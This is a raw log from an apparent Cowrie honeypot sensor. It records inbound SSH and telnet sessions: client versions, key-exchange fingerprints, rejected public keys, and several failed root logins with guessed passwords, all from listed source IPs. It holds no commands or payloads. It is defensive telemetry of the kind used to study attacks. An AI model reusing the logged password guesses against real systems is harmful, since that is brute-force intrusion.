{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:45.337039Z","src_ip":"62.133.63.178","session":"a557d34f4c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:45.457441Z","src_ip":"62.133.63.178","session":"a557d34f4c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samara63","message":"login attempt [root/samara63] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:45.821977Z","src_ip":"62.133.63.178","session":"a557d34f4c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:27:46.946056Z","src_ip":"62.133.63.178","session":"a557d34f4c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.145.60","src_port":49478,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e9417563d3","protocol":"ssh","message":"New connection: 45.148.145.60:49478 (10.17.0.5:22) [session: 27e9417563d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:08.500674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:08.506783Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:08.599228Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:12:6b:18:0a:3e:0d:ee:86:fd:b6:e1:ef:0e:bd:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD6A9zJDcpnotYCAvikukA915fwjLbr5JdWCVlk5EI/PcLtarJnGa6VYWazmp22Hk86rgyAWMagsdse1vmYFyP7/VR22RdY8MvRPeyoMpAOMwFJMWBnVk1cfLXBNFrMvCFkZRmg8IfGQ/YtXbzMGTAlWNwjPokd6sb61sLcEnAOQV+5pdJGC89cbDcyc/JxR/OdyM/rx7g1cN7R+qYsRPY9hJXYYUMM/t//qssfi27ooWutT+GCXiIGIVf7sVT6GDUWcazhYd7c//XR1qYZW8exCYiMJm2dPusFcs7LNwNe/CJhZxg4CQObM7fM3w7SLnFDKUDze74jUjxhfA59fO5P0rvFi75BEwkMfsCoBHe9x7bMmhtzCiNnaSzFyamiWZXoJ+MsG0INwD34UbgmzDJnjyuVLuWCxEDcPCY8AaqWOMYPCF1Zwy6vB8/hWsSP8V9i+XSy+UhGDV4ML+dQFKMuJ4FSfn8wgD1ktONrzE+SPViMG23vrLOv+nx8ddFVguQY2eywyJT5d4befKvyvCSoV/mWL7ZtMjiD1mQrmMGtIZvp4tzV/MDvNPp8MuX9LFkALT4W+4EYS4pXaljmZIhFSLHaCekdRaEOrZ3PWthGMA5n0eEBidMEL7rnq6fyy2rMAaJglxabe1RI8vFUBRa10lSFXm7RTCxbWFFIUE8Bpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:12:6b:18:0a:3e:0d:ee:86:fd:b6:e1:ef:0e:bd:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.016357Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:12:6b:18:0a:3e:0d:ee:86:fd:b6:e1:ef:0e:bd:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD6A9zJDcpnotYCAvikukA915fwjLbr5JdWCVlk5EI/PcLtarJnGa6VYWazmp22Hk86rgyAWMagsdse1vmYFyP7/VR22RdY8MvRPeyoMpAOMwFJMWBnVk1cfLXBNFrMvCFkZRmg8IfGQ/YtXbzMGTAlWNwjPokd6sb61sLcEnAOQV+5pdJGC89cbDcyc/JxR/OdyM/rx7g1cN7R+qYsRPY9hJXYYUMM/t//qssfi27ooWutT+GCXiIGIVf7sVT6GDUWcazhYd7c//XR1qYZW8exCYiMJm2dPusFcs7LNwNe/CJhZxg4CQObM7fM3w7SLnFDKUDze74jUjxhfA59fO5P0rvFi75BEwkMfsCoBHe9x7bMmhtzCiNnaSzFyamiWZXoJ+MsG0INwD34UbgmzDJnjyuVLuWCxEDcPCY8AaqWOMYPCF1Zwy6vB8/hWsSP8V9i+XSy+UhGDV4ML+dQFKMuJ4FSfn8wgD1ktONrzE+SPViMG23vrLOv+nx8ddFVguQY2eywyJT5d4befKvyvCSoV/mWL7ZtMjiD1mQrmMGtIZvp4tzV/MDvNPp8MuX9LFkALT4W+4EYS4pXaljmZIhFSLHaCekdRaEOrZ3PWthGMA5n0eEBidMEL7rnq6fyy2rMAaJglxabe1RI8vFUBRa10lSFXm7RTCxbWFFIUE8Bpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.020354Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClomyQxZIwKk8GYzZ/ff6mkNyEYnPduLZEbZ3X8vyzLFsORLF19w25NSPV65009R+Cc6Fdr4wpNCI2gzqXVH08+yNi3lJ/rzaEXjVLwhvRBiFiGxXeBVOJKXhu7o/Zresd8Y3g/KK7uJT8y2NGHrYC5lIyqpickbgZz57BFMifhFn+iILv5YmVBFdeCP3sOHwVc9+tAiWALntVkDdfpwhN+pA0gruMIl+AyUyIA02bXZnwj47QYuX/AWYJG54D42Z6rHDk0/29vW/T+D+Eiab2NnRZVB5dghXi5OgysiPH0z0D0n/FDGt2OlsFnNi3U1Sbwvh3/GiULItdldPiMElBLTwN/NILI85bM0AZWG1J2ncBoR8SGe5G0ivZ6d2Atm2APkadPR7UOA/r7H/z6pAX3tCA2zsja24XYQU4Hg/vo/UZBo7D6yRRwZT/da3BbfQxm52eClej3CfZc4NFRHY4as+z64yMp4kMzlUVPH2nmI+xH1SnW7xmvDwXqt6q+8wG9rImY8NZJ92n4i6bOadt4rPAONLqcpzILeTabyNfdjHMiGPbUF6pc0s2fELXnrgX5c61v1VR6VBZk15D0lUjkUbwJAi4nYCoIZGVUhEZUel9aAI2lFYw7yUOqnyhM1G6ReOMXZCwQG1Egr6BDGNzJ8WWEjC6yi7dLTxhzW4q7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.113065Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClomyQxZIwKk8GYzZ/ff6mkNyEYnPduLZEbZ3X8vyzLFsORLF19w25NSPV65009R+Cc6Fdr4wpNCI2gzqXVH08+yNi3lJ/rzaEXjVLwhvRBiFiGxXeBVOJKXhu7o/Zresd8Y3g/KK7uJT8y2NGHrYC5lIyqpickbgZz57BFMifhFn+iILv5YmVBFdeCP3sOHwVc9+tAiWALntVkDdfpwhN+pA0gruMIl+AyUyIA02bXZnwj47QYuX/AWYJG54D42Z6rHDk0/29vW/T+D+Eiab2NnRZVB5dghXi5OgysiPH0z0D0n/FDGt2OlsFnNi3U1Sbwvh3/GiULItdldPiMElBLTwN/NILI85bM0AZWG1J2ncBoR8SGe5G0ivZ6d2Atm2APkadPR7UOA/r7H/z6pAX3tCA2zsja24XYQU4Hg/vo/UZBo7D6yRRwZT/da3BbfQxm52eClej3CfZc4NFRHY4as+z64yMp4kMzlUVPH2nmI+xH1SnW7xmvDwXqt6q+8wG9rImY8NZJ92n4i6bOadt4rPAONLqcpzILeTabyNfdjHMiGPbUF6pc0s2fELXnrgX5c61v1VR6VBZk15D0lUjkUbwJAi4nYCoIZGVUhEZUel9aAI2lFYw7yUOqnyhM1G6ReOMXZCwQG1Egr6BDGNzJ8WWEjC6yi7dLTxhzW4q7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.117682Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:68:f2:1e:4e:6f:e0:6f:6a:b1:b1:db:19:d1:3d:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJ97Mx3wZ0yN2vSSmfG97jnAn9zgGwk1xHeF9caUMh6671bJrl3MCXFI+NvGwUvryYR083/BbDQli10A91P2u7gtCl6M3uPSc8/dyan/wDjSRszOh9tUy0VTgYQ/BO0AC/JDuulHU+qdNFhG3XsDhMb3uhiZz2QxALGMsfo7mOJOlLBC6fUVXeczrOzgLXlC/31H4YQ5/Okpf8CMHHslCWSM8OFP4eeqyjyKEcjawl+hhSLdLArFXeGByULAFt6Dlypc1AcSDeyCEKqyosSwSSZ4X/UKpj/hBSoSilVnVPUelsWBEk7VUCxbRQMZ56IDKwZhjjN/QCeF94/8HVGLD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:68:f2:1e:4e:6f:e0:6f:6a:b1:b1:db:19:d1:3d:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.206876Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:68:f2:1e:4e:6f:e0:6f:6a:b1:b1:db:19:d1:3d:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJ97Mx3wZ0yN2vSSmfG97jnAn9zgGwk1xHeF9caUMh6671bJrl3MCXFI+NvGwUvryYR083/BbDQli10A91P2u7gtCl6M3uPSc8/dyan/wDjSRszOh9tUy0VTgYQ/BO0AC/JDuulHU+qdNFhG3XsDhMb3uhiZz2QxALGMsfo7mOJOlLBC6fUVXeczrOzgLXlC/31H4YQ5/Okpf8CMHHslCWSM8OFP4eeqyjyKEcjawl+hhSLdLArFXeGByULAFt6Dlypc1AcSDeyCEKqyosSwSSZ4X/UKpj/hBSoSilVnVPUelsWBEk7VUCxbRQMZ56IDKwZhjjN/QCeF94/8HVGLD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.211572Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:7d:ff:6f:f9:b8:e2:5c:d3:44:1f:47:be:75:80:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyoN9VegSaTr/PE/lsoHesuQ6BcPlpZlPML2Y5A1VYcgDe0eJEzY9vEUwUDye06voWIqpXfbDNxzpsAq6sa0k7PptBIZCtKSWaKJqhDmSz8RcpwcQ8IzpSZgr64HM1IpB0WMrpKNuHHI5tlSj4ahbjf9bgWXMeg4BJOin08ishakBILxkIUpZqzrAF9VXzXB9hPavNbnVlmo5koT9t0+1sWOL39Skx62bdqTAQUnT236kX82KeIJux3rWQWFa46hjEqTL2IPAzJEQFSrcQ6aBdyQEUfAoxzWZ7l8lA36YfERtTcgR+43N8luOZmXo+xQVXzpzA/v5zlvh1hM4ynjGV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:7d:ff:6f:f9:b8:e2:5c:d3:44:1f:47:be:75:80:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.301885Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:7d:ff:6f:f9:b8:e2:5c:d3:44:1f:47:be:75:80:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyoN9VegSaTr/PE/lsoHesuQ6BcPlpZlPML2Y5A1VYcgDe0eJEzY9vEUwUDye06voWIqpXfbDNxzpsAq6sa0k7PptBIZCtKSWaKJqhDmSz8RcpwcQ8IzpSZgr64HM1IpB0WMrpKNuHHI5tlSj4ahbjf9bgWXMeg4BJOin08ishakBILxkIUpZqzrAF9VXzXB9hPavNbnVlmo5koT9t0+1sWOL39Skx62bdqTAQUnT236kX82KeIJux3rWQWFa46hjEqTL2IPAzJEQFSrcQ6aBdyQEUfAoxzWZ7l8lA36YfERtTcgR+43N8luOZmXo+xQVXzpzA/v5zlvh1hM4ynjGV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.306304Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:42:5c:9e:f3:08:8a:df:38:93:67:31:e6:65:0a:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIH+oMRU+ML2h47CiLXVSjB3GLDchPYKDJyicDvsAmzWTYUKBs8EA5JbZQEaeWKtf1fgzDoyAVxKev/99aWSAK0eFWwH6i6sJGfse0oBwa5kQ5htqTFhf+Kkk3Blfc/2OD9wQ031lVGDegKqXKVzstZxS2UzTX6sR7DcdIWFoxY6qn69MHxMlNuzAhwFvaO+roLW9VAr8OxKXnZYbRSRqb+jDvihosudVFTaod5jQFM34k6oH6YH/r+qtsRhrtECX+FLbks/xSQbt/4GCNaTpAvsyIb16+/VtXWrcH64dqB60AScnRCDnRnBVT+XSRWXqy4geVkweIBJBwanOJw2pj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:42:5c:9e:f3:08:8a:df:38:93:67:31:e6:65:0a:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.396245Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:42:5c:9e:f3:08:8a:df:38:93:67:31:e6:65:0a:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIH+oMRU+ML2h47CiLXVSjB3GLDchPYKDJyicDvsAmzWTYUKBs8EA5JbZQEaeWKtf1fgzDoyAVxKev/99aWSAK0eFWwH6i6sJGfse0oBwa5kQ5htqTFhf+Kkk3Blfc/2OD9wQ031lVGDegKqXKVzstZxS2UzTX6sR7DcdIWFoxY6qn69MHxMlNuzAhwFvaO+roLW9VAr8OxKXnZYbRSRqb+jDvihosudVFTaod5jQFM34k6oH6YH/r+qtsRhrtECX+FLbks/xSQbt/4GCNaTpAvsyIb16+/VtXWrcH64dqB60AScnRCDnRnBVT+XSRWXqy4geVkweIBJBwanOJw2pj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.401921Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:09.499316Z","src_ip":"45.148.145.60","session":"27e9417563d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.582396268844604,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:13.953982Z","src_ip":"79.139.59.21","session":"dee580dc91dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":55758,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a09361fe67","protocol":"ssh","message":"New connection: 87.251.79.125:55758 (10.17.0.5:22) [session: 62a09361fe67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:38.710960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:38.716061Z","src_ip":"87.251.79.125","session":"62a09361fe67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:38.790896Z","src_ip":"87.251.79.125","session":"62a09361fe67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"akatsuki","message":"login attempt [root/akatsuki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:39.028097Z","src_ip":"87.251.79.125","session":"62a09361fe67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:40.102257Z","src_ip":"87.251.79.125","session":"62a09361fe67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.153","src_port":65238,"dst_ip":"10.17.0.5","dst_port":23,"session":"063a02f4e200","protocol":"telnet","message":"New connection: 147.185.132.153:65238 (10.17.0.5:23) [session: 063a02f4e200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:47.129123Z"}
{"eventid":"cowrie.session.closed","duration":120.00603985786438,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:51.848464Z","src_ip":"2.135.255.182","session":"4c3cded20a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":20752,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3cf85315881","protocol":"ssh","message":"New connection: 38.93.206.2:20752 (159.203.135.109:22) [session: d3cf85315881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:55.873417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:55.878766Z","src_ip":"38.93.206.2","session":"d3cf85315881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:55.930083Z","src_ip":"38.93.206.2","session":"d3cf85315881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kasandra","message":"login attempt [root/kasandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:56.088797Z","src_ip":"38.93.206.2","session":"d3cf85315881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.974538564682007,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:57.103539Z","src_ip":"147.185.132.153","session":"063a02f4e200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:28:57.144210Z","src_ip":"38.93.206.2","session":"d3cf85315881","protocol":"ssh"}
